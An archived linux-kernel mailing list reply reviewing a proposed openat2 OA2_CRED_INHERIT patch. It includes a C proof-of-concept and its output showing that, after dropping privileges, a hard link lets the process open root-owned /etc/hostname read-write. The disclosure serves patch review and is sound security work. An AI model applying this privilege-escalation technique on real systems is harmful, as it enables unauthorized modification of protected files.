lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Sat, 4 May 2024 22:38:59 +0200
From: Donald Buczek <buczek@...gen.mpg.de>
To: Stas Sergeev <stsp2@...dex.ru>, linux-kernel@...r.kernel.org
Cc: Stefan Metzmacher <metze@...ba.org>,
 Eric Biederman <ebiederm@...ssion.com>,
 Alexander Viro <viro@...iv.linux.org.uk>, Andy Lutomirski <luto@...nel.org>,
 Christian Brauner <brauner@...nel.org>, Jan Kara <jack@...e.cz>,
 Jeff Layton <jlayton@...nel.org>, Chuck Lever <chuck.lever@...cle.com>,
 Alexander Aring <alex.aring@...il.com>,
 David Laight <David.Laight@...LAB.COM>, linux-fsdevel@...r.kernel.org,
 linux-api@...r.kernel.org, Paolo Bonzini <pbonzini@...hat.com>,
 Christian Göttsche <cgzones@...glemail.com>
Subject: Re: [PATCH v6 3/3] openat2: add OA2_CRED_INHERIT flag

On 4/27/24 13:24, Stas Sergeev wrote:
> This flag performs the open operation with the fs credentials
> (fsuid, fsgid, group_info) that were in effect when dir_fd was opened.
> dir_fd must be opened with O_CRED_ALLOW, or EPERM is returned.
> 
> Selftests are added to check for these properties as well as for
> the invalid flag combinations.
> 
> This allows the process to pre-open some directories and then
> change eUID (and all other UIDs/GIDs) to a less-privileged user,
> retaining the ability to open/create files within these directories.
> 
> Design goal:
> The idea is to provide a very light-weight sandboxing, where the
> process, without the use of any heavy-weight techniques like chroot
> within namespaces, can restrict the access to the set of pre-opened
> directories.
> This patch is just a first step to such sandboxing. If things go
> well, in the future the same extension can be added to more syscalls.
> These should include at least unlinkat(), renameat2() and the
> not-yet-upstreamed setxattrat().
> 
> Security considerations:
> - Only the bare minimal set of credentials is overridden:
>    fsuid, fsgid and group_info. The rest, for example capabilities,
>    are not overridden to avoid unneeded security risks.
> - To avoid sandboxing escape, this patch makes sure the restricted
>    lookup modes are used. Namely, RESOLVE_BENEATH or RESOLVE_IN_ROOT.
> - Magic /proc symlinks are discarded, as suggested by
>    Andy Lutomirski <luto@...nel.org>> - O_CRED_ALLOW fds cannot be passed via unix socket and are always
>    closed on exec() to prevent "unsuspecting userspace" from not being
>    able to fully drop privs.

What about hard links?

== snip ==
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/openat2.h>

#define O_CRED_ALLOW 0x2000000
#define OA2_CRED_INHERIT (1UL << 28)

#define SYS_openat2 437
long openat2(int dirfd, const char *pathname, struct open_how *how, size_t size) {
     return syscall(SYS_openat2, dirfd, pathname, how, size);
}


__attribute__ ((noreturn, format(printf, 1, 2)))
static void die(const char *restrict fmt, ...) {
     va_list ap;
     va_start(ap, fmt);
     vfprintf(stderr, fmt, ap);
     va_end(ap);
     _exit(1);
}

int main() {

     unlink("/tmp/d/test.dat");
     unlink("/tmp/d/hostname");
     if (rmdir("/tmp/d") != 0 && errno != ENOENT)
         die("/tmp/d: %m\n");
     
     umask(0);
     if (mkdir("/tmp/d", 0777) != 0)
         die("/tmp/d: %m\n");

     int dirfd = open("/tmp/d", O_RDONLY + O_CRED_ALLOW);
     if (dirfd == -1)
         die("/tmp/d: %m\n");

     if (setuid(1000) != 0)
         die("setuid: %m\n");

     if (link("/etc/hostname", "/tmp/d/hostname") == -1)
         die ("/etc/hostname: %m\n");

     if(openat(dirfd, "hostname", O_RDWR) != -1)
         die("/tmp/d/hostname could be opened by uid 1000");

     {   struct open_how how = { .flags = O_RDWR + OA2_CRED_INHERIT, .resolve = RESOLVE_BENEATH };
         if (openat2(dirfd, "hostname", &how, sizeof(how)) == -1)
             die("hostname: %m\n");
         printf("able to open /etc/hostname RDWR \n");
     }
}

== snip ==


buczek@...e:~$ gcc -O0 -Wall -Wextra -Werror -g -o test test.c
buczek@...e:~$ sudo ./test
able to open /etc/hostname RDWR
buczek@...e:~$


-- 
Donald Buczek
buczek@...gen.mpg.de
Tel: +49 30 8413 1433

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ